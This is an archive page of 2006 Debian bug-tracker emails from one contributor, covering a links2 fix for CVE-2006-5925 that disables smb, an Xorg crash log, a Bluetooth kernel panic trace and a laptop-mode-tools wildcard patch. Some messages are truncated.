(2.1pre16-1.0.0.mcf01) unstable; urgency=low + + * try to disable smb + + -- Mikko Rapeli [EMAIL PROTECTED] Tue, 28 Nov 2006 00:11:10 +0200 + links2 (2.1pre16-1) unstable; urgency=low * New upstream version. (Closes: #267686) diff -u links2-2.1pre16/config.guess links2-2.1pre16/config.guess --- links2-2.1pre16/config.guess +++ links2-2.1pre16/config.guess @@ -1,9 +1,9 @@ #! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, -# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. +# 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. -timestamp='2004-11-12' +timestamp='2005-04-22' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by @@ -53,7 +53,7 @@ GNU config.guess ($timestamp) Originally written by Per Bothner. -Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO @@ -804,6 +804,9 @@ i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin
Bug#399187: CVE-2006-5925: ELinks smb Protocol File Upload/Download Vulnerability
Hello, On Mon, Nov 27, 2006 at 12:09:56PM +0100, Julien Cristau wrote: On Mon, Nov 27, 2006 at 11:35:07 +0100, Martin Schulze wrote: Julien Cristau wrote: Hi, do the security@ people have a DSA in preparation for links and/or elinks for CVE-2006-5925, or should I prepare a patch for the stable versions too? As far as I know, no. Please prepare an update. I have source packages ready at: http://www.liafa.jussieu.fr/~jcristau/debian/CVE-2006-5925/links_0.99+1.00pre12-1sarge1.dsc http://www.liafa.jussieu.fr/~jcristau/debian/CVE-2006-5925/elinks_0.10.4-7.1.dsc links2 is vulnerable too. The links patch needed a tweak for links2 but result is attached. -Mikko diff -u links2-2.1pre16/config.sub links2-2.1pre16/config.sub --- links2-2.1pre16/config.sub +++ links2-2.1pre16/config.sub @@ -1,9 +1,9 @@ #! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, -# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. +# 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. -timestamp='2004-11-30' +timestamp='2005-04-22' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software @@ -70,7 +70,7 @@ version=\ GNU config.sub ($timestamp) -Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO @@ -231,13 +231,14 @@ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ + | bfin \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ - | m32r | m32rle | m68000 | m68k | m88k | mcore \ + | m32r | m32rle | m68000 | m68k | m88k | maxq | mcore \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ @@ -262,7 +263,8 @@ | pyramid \ | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ - | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | sparcv9 | sparcv9b \ + | sparc | sparc64 | sparc64b | sparc86x | sparclet | sparclite \ + | sparcv8 | sparcv9 | sparcv9b \ | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ | v850 | v850e \ @@ -298,7 +300,7 @@ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* \ - | bs2000-* \ + | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ @@ -310,7 +312,7 @@ | ip2k-* | iq2000-* \ | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ - | m88110-* | m88k-* | mcore-* \ + | m88110-* | m88k-* | maxq-* | mcore-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ @@ -336,7 +338,8 @@ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ - | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ + | sparc-* | sparc64-* | sparc64b-* | sparc86x-* | sparclet-* \ + | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ diff -u links2-2.1pre16/debian/changelog links2-2.1pre16/debian/changelog --- links2-2.1pre16/debian/changelog +++ links2-2.1pre16/debian/changelog @@ -1,3 +1,9 @@ +links2 (2.1pre16-1.0.0.mcf01) unstable; urgency=low + + * try to disable smb + + -- Mikko Rapeli [EMAIL PROTECTED] Tue, 28 Nov 2006 00:11:10 +0200 + links2 (2.1pre16-1) unstable; urgency=low * New upstream version. (Closes: #267686) diff -u links2-2.1pre16/config.guess links2-2.1pre16/config.guess --- links2-2.1pre16/config.guess +++ links2-2.1pre16/config.guess @@ -1,9 +1,9 @@ #! /bin/sh # Attempt to guess a canonical system name. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, -# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. +# 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. -timestamp='2004-11-12' +timestamp='2005-04-22' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General
Bug#397084: xserver-xorg: savage crashes when ending X session
Package: xserver-xorg Version: 1:7.1.0-5 Severity: normal *** Please type your report below this line *** A few weeks ago this etch installation on a thinkpad t20 worked fine but now after upgrades Xorg crashes at logout and leaves the virtual terminal in a bad state, since I can't switch out of it without a reboot. A workaround is to restart kdm/gdm immediately after a crash without switching back and forth between virtual terminals. Xorg.log X Window System Version 7.1.1 Release Date: 12 May 2006 X Protocol Version 11, Revision 0, Release 7.1.1 Build Operating System: UNKNOWN Current Operating System: Linux silu 2.6.18-1-686 #1 SMP Sat Oct 21 17:21:28 UTC 2006 i686 Build Date: 07 July 2006 Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Module Loader present Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: /var/log/Xorg.0.log, Time: Sat Nov 4 12:46:14 2006 (==) Using config file: /etc/X11/xorg.conf (==) ServerLayout Default Layout (**) |--Screen Default Screen (0) (**) | |--Monitor t20lcd (**) | |--Device ATI Technologies, Inc. Rage Mobility P/M AGP 2x (**) |--Input Device Generic Keyboard (**) Option XkbRules xfree86 (**) XKB: rules: xfree86 (**) Option XkbModel pc102 (**) XKB: model: pc102 (**) Option XkbLayout fi (**) XKB: layout: fi (==) Keyboard: CustomKeycode disabled (**) |--Input Device Configured Mouse (WW) The directory /usr/share/fonts/X11/cyrillic does not exist. Entry deleted from font path. (WW) The directory /usr/lib/X11/fonts/cyrillic does not exist. Entry deleted from font path. (WW) `fonts.dir' not found (or not valid) in /usr/lib/X11/fonts/100dpi/. Entry deleted from font path. (Run 'mkfontdir' on /usr/lib/X11/fonts/100dpi/). (WW) `fonts.dir' not found (or not valid) in /usr/lib/X11/fonts/75dpi/. Entry deleted from font path. (Run 'mkfontdir' on /usr/lib/X11/fonts/75dpi/). (WW) `fonts.dir' not found (or not valid) in /usr/share/fonts/X11/Type1. Entry deleted from font path. (Run 'mkfontdir' on /usr/share/fonts/X11/Type1). (WW) `fonts.dir' not found (or not valid) in /usr/lib/X11/fonts/Type1. Entry deleted from font path. (Run 'mkfontdir' on /usr/lib/X11/fonts/Type1). (WW) The directory /usr/share/fonts/X11/CID does not exist. Entry deleted from font path. (WW) The directory /usr/lib/X11/fonts/CID does not exist. Entry deleted from font path. (WW) `fonts.dir' not found (or not valid) in /usr/lib/X11/fonts/100dpi. Entry deleted from font path. (Run 'mkfontdir' on /usr/lib/X11/fonts/100dpi). (WW) `fonts.dir' not found (or not valid) in /usr/lib/X11/fonts/75dpi. Entry deleted from font path. (Run 'mkfontdir' on /usr/lib/X11/fonts/75dpi). (**) FontPath set to: unix/:7100, /usr/share/fonts/X11/misc, /usr/lib/X11/fonts/misc, /usr/lib/X11/fonts/Speedo, /usr/share/fonts/X11/100dpi, /usr/share/fonts/X11/75dpi (==) RgbPath set to /etc/X11/rgb (==) ModulePath set to /usr/lib/xorg/modules (**) Ignoring ABI Version (WW) Open ACPI failed (/var/run/acpid.socket) (No such file or directory) (II) No APM support in BIOS or kernel (II) Module ABI versions: X.Org ANSI C Emulation: 0.3 X.Org Video Driver: 1.0 X.Org XInput driver : 0.6 X.Org Server Extension : 0.3 X.Org Font Renderer : 0.5 (II) Loader running on linux (II) LoadModule: bitmap (II) Loading /usr/lib/xorg/modules/fonts/libbitmap.so (II) Module bitmap: vendor=X.Org Foundation compiled for 7.1.1, module version = 1.0.0 Module class: X.Org Font Renderer ABI class: X.Org Font Renderer, version 0.5 (II) Loading font Bitmap (II) LoadModule: pcidata (II) Loading /usr/lib/xorg/modules/libpcidata.so (II) Module pcidata: vendor=X.Org Foundation compiled for 7.1.1, module version = 1.0.0 ABI class: X.Org Video Driver, version 1.0 (++) using VT number 7 (II) PCI: PCI scan (all values are in hex) (II) PCI: 00:00:0: chip 8086,7190 card , rev 03 class 06,00,00 hdr 00 (II) PCI: 00:01:0: chip 8086,7191 card , rev 03 class 06,04,00 hdr 01 (II) PCI: 00:02:0: chip 104c,ac1b card 1400, rev 03 class 06,07,00 hdr 82 (II) PCI: 00:02:1: chip 104c,ac1b card 2000, rev 03 class 06,07,00 hdr 82 (II) PCI: 00:03:0: chip 8086,1229 card 8086,2408 rev 09 class 02,00,00 hdr 80 (II) PCI: 00:03:1: chip 115d,000c card 8086,2408 rev 00 class 07,00,02 hdr 80 (II) PCI: 00:05:0: chip 1013,6003 card 1014,0153 rev 01 class 04,01,00 hdr 00 (II) PCI: 00:07:0: chip 8086,7110 card , rev 02 class 06,80,00 hdr 80 (II) PCI: 00:07:1: chip 8086,7111 card , rev 01 class 01,01,80 hdr 00 (II) PCI: 00:07:2: chip 8086,7112 card , rev 01 class
Bug#327244: can't reproduce anymore
Hello, I've forgotten about this bug, but since I moved and changed ISP's I can not reproduce this anymore. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394742: workaround
THe problem can be worked around by closing the PPP link before 'telinit 1' or shutdown. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394742: linux-image-2.6.17-2-686: Bluetooth related panic
On Mon, Oct 23, 2006 at 12:33:39PM -0600, dann frazier wrote: Thanks Mikko. Can you reproduce with the 2.6.18 kernel in sid? It should install fine on an etch system, and is the kernel we plan to ship in etch. Yes. Exact steps in this case: boot to run level 2, login as root on virtual terminal 2, run screen, 'pon gprs-bt', open another shell to ping some host, open a third shell to do 'telinit 1'. Running 'pon gprs-bt' inside an X session didn't crash this time. Hand written trace from camera shots: release_dev: rfcomm1: read/write wait queue active! ...[gazillion times] BUG: unable to handel kernel NULL pointer dereference at virtual address 0005 printing eip: 0005 *pde = Oops: [#3] SMP: Modules linkde in: ... CPU:0 EIP:0060:[0005] Not tainted VLI EFLAGS: 00010012(2.6.18-1-686 #1) EIP is at 0x5 eax: ca84df28 ebx: ca84df28 ecx: edx: 0003 esi: ca3d1ab0 edi: 0001 ebp: ca24fc50 esp: ca24fc30 ds: 007b es: 007b ss: 0068 Process pppd (pid: 3166, ti=ca24e000 task=ca3d1030 task.ti=ca24e000) Stack: ... Call Trace: [c011624d] __wake_up_common+0x2f/0x53 [c011669e] __wake_up+0x2a/0x3d [c01f8d5b] release_dev+0x239/0x5ee [c0220a1d] _spin_lock_bh+0x8/0x18 ...[too much hex for my fingers and eyes] lock_sock+0x89/0x91 lock_sock+0x89/0x91 inet6_destroy_sock+0x22/0x3a [ipv6] tty_release+0xf/0x18 __fput+0x8a/0x13f flip_close+0x4e/0x54 put_files_struct+0x65/0xa7 do_exit+0x1d1/0x714 die+0x1e2/0x28a die+0x265/0x28a do_page_fault+0x3b4/0x481 do_page_fault+0x0/0x481 error_code+0x39/0x40 cp_new_stat+0xed/0x152 rfcomm_tty_chars_in_buffer+0x8/0x19 [rfcomm] tty_wait_until_sent+0x74/0xb9 default_wake_funtion+0x0/0xc n_tty_ioctl+0x0/0x40d set_termios+0xbe/0x2e9 do_path_lookup+0x20a/0x255 path_lookup+0xf/0x11 n_tty_ioctl++xb4d/0xbac unix_dgram_connect+0x6a/0x137 sys_connect+0x7d/0xa9 do_wp_page+0x12b/0x344 inotify_d_instantiate+0x36/0x59 __handle_mm_fault+0x6d8/0x740 do_ioctl+0x47/0x5d vfs_ioctl+0x24a/0x25c sys_ioctl+0x48/0x5f syscall_call+0x7/0xb Code: Bad EIP value. EIP: [0005] 0x5 SS:ESP 0068:ca24fc30 1Fixing recursive fault but reboot is needed! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394557: laptop-mode-tools: LVM partitions not supported
On Sun, Oct 22, 2006 at 08:14:58AM +0200, Bart Samwel wrote: I see, thanks for reporting this! Unfortunately adding the spaces to the beginning and end is somewhat necessary, because otherwise (for instance) the partition /dev/automatic_thingummy will be found using grep auto. I think the trick would be to do something like: if ( (echo -n ; echo -n $PARTITIONS ; echo -n ) | grep $DEV /dev/null ) ; then Does it work for you that way? I didn't try, since I found a cleaner way to do the shell wild card expansion. What do you think? Expansion is postprocessing and all the comparisons and white space additions are left as they are: diff -ur laptop-mode-tools-1.32/usr/sbin/laptop_mode laptop-mode-tools-1.32-0mcf02/usr/sbin/laptop_mode --- laptop-mode-tools-1.32/usr/sbin/laptop_mode 2006-10-06 13:07:02.0 +0300 +++ laptop-mode-tools-1.32-0mcf02/usr/sbin/laptop_mode 2006-10-22 09:58:47.0 +0300 @@ -271,6 +271,9 @@ PARTITIONS=auto /dev/mapper/* fi +# Expand shell wild cards +PARTITIONS=$( echo $PARTITIONS ) + # Convert seconds to hdparm -S format # Everything over 20 minutes is interpreted as 2 hours. seconds_to_hdparm_S() { -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#392093: can't reproduce anymore
There might have been a glitch between debian-multimedia.org and debian.org hugin packages, but I can't reproduce this problem anymore. I tried the etch version from debian-miultimedia.org and the debian version, purged all versions and installed one over the other, but the problem I saw seems to have disappeared. Feel free to close this bug. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394742: linux-image-2.6.17-2-686: Bluetooth related panic
Package: linux-image-2.6.17-2-686 Version: 2.6.17-9 Severity: normal *** Please type your report below this line *** When a GPRS/Bluetooth/ppp connection is open and I do poweroff or 'telinit 1' the kernel panics with this output (handwritten from camera screen shots): release_dev: rfcomm1: read/write wait queue active! ...[screenloads of same] release_dev: rfcomm1: read/write wait queue active! done invalid opcode: [#3] SMP Modules linked in: ... CPU:0 EIP:0060:[bff995b5] Not tainted VLI EFLAGS: 00010016(2.6.17-2-686 #1) EIP is at 0xbff995b5 eax: b9c23f28 ebx: b9c27e28 ecx: edx: 0003 esi: b1203ca0 edi: 0001 ebp: ba58bc3c esp: ba58bc1b ds: 007bes: 007bss: 0068 Process pppd (pid: 4586, threadinfo=ba58a000 task=bffae050) Stack: 115f0aba 00b0 0300 65b13400 ea3bb8ba 65b134bf 00ba 0100 58bc6000 117cb2ba 00b0 0300 00029200 65b0 00ba 58bca800 00ba 1f1a0200 00b0 0100 82b0ea00 58bca0bf 80bdc2ba Call Trace: Code: ... EIP: [bff995b5] 0xbff995b5 SS:ESP 0068:ba58bc1b 1Fixing recursive fault but reboot is needed! Computer is a IBM T20 with a Bluetooth USB dongle: # lspci 00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 03) 00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 03) 00:02.0 CardBus bridge: Texas Instruments PCI1450 (rev 03) 00:02.1 CardBus bridge: Texas Instruments PCI1450 (rev 03) 00:03.0 Ethernet controller: Intel Corporation 82557/8/9 [Ethernet Pro 100] (rev 09) 00:03.1 Serial controller: Xircom Mini-PCI V.90 56k Modem 00:05.0 Multimedia audio controller: Cirrus Logic CS 4614/22/24 [CrystalClear SoundFusion Audio Accelerator] (rev 01) 00:07.0 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ISA (rev 02) 00:07.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) 00:07.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (rev 01) 00:07.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) 01:00.0 VGA compatible controller: S3 Inc. 86C270-294 Savage/IX-MV (rev 11) # lsusb Bus 001 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode) Bus 001 Device 001: ID : I can't get the panic screen shots out of the camera at the moment. Anything else I could do to help debug this? -Mikko -- System Information: Debian Release: testing APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.17-2-686 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages linux-image-2.6.17-2-686 depends on: ii initramfs-tools [linux-initra 0.83 tools for generating an initramfs ii module-init-tools 3.2.2-3tools for managing Linux kernel mo Versions of packages linux-image-2.6.17-2-686 recommends: pn libc6-i686none (no description available) -- debconf information excluded -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394557: laptop-mode-tools: LVM partitions not supported
Package: laptop-mode-tools Version: 1.32-1 Severity: normal Tags: patch *** Please type your report below this line *** laptop_mode does not expand any wild cards used with PARTITIONS variable properly, so LVM partitions are not remounted with powersaving options, even though it set to auto /dev/mapper/* by default. Here's an example with debug output enabled: # /etc/init.d/laptop-mode start | grep home /dev/mapper/silun_levyt-home not found in PARTITIONS. /home not found in PARTITIONS. Checking /dev/mapper/silun_levyt-home against HD because PARTITIONS contains auto. The problem is quite simple, though I don't understand the reasons for the laptop_mode coding style with environment variables. With the fix below I get LVM partitions remounted: # /etc/init.d/laptop-mode start|grep home /dev/mapper/silun_levyt-home found in PARTITIONS. /home not found in PARTITIONS. Checking /dev/mapper/silun_levyt-home against HD because PARTITIONS contains auto. Executing: mount /dev/mapper/silun_levyt-home -t ext3 /home -o remount,rw,commit=360 Executing: /sbin/blockdev --setra 6144 /dev/mapper/silun_levyt-home And the patch: --- laptop-mode-tools-1.32.orig/usr/sbin/laptop_mode +++ laptop-mode-tools-1.32/usr/sbin/laptop_mode @@ -966,19 +966,27 @@ echo Remounting filesystems. $OUTPUT cat /etc/mtab | while read DEV MP FST OPTS DUMP PASS ; do DO=0 - if ( echo $PARTITIONS | grep $DEV /dev/null ) ; then + # $PARTITIONS may contain shell wild cards like + # /dev/mapper/* , so the shell needs to expand them + # before grep matching, thus no quoting with echo and + # no white space matches with grep. + # Perhaps there is a good reason for this + # style? Perhaps no variable should have wild cards or + # perhaps all wild cards should be expanded somewhere + # else where its safe? + if ( echo $PARTITIONS | grep $DEV /dev/null ) ; then DO=1 echo $DEV found in PARTITIONS. $OUTPUT else echo $DEV not found in PARTITIONS. $OUTPUT fi - if ( echo $PARTITIONS | grep $MP /dev/null ) ; then + if ( echo $PARTITIONS | grep $MP /dev/null ) ; then DO=1 echo $MP found in PARTITIONS. $OUTPUT else echo $MP not found in PARTITIONS. $OUTPUT fi - if ( echo $PARTITIONS | grep auto /dev/null ) ; then + if ( echo $PARTITIONS | grep auto /dev/null ) ; then echo Checking $DEV against HD because PARTITIONS contains \auto\. $OUTPUT for THISHD in $HD ; do echoConsidering $THISHD. $OUTPUT -- System Information: Debian Release: testing APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.17-2-686 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages laptop-mode-tools depends on: ii lsb-base 3.1-15 Linux Standard Base 3.1 init scrip Versions of packages laptop-mode-tools recommends: ii acpid 1.0.4-5Utilities for using ACPI power man ii hdparm6.6-1 tune hard disk parameters for high pn sdparmnone (no description available) -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]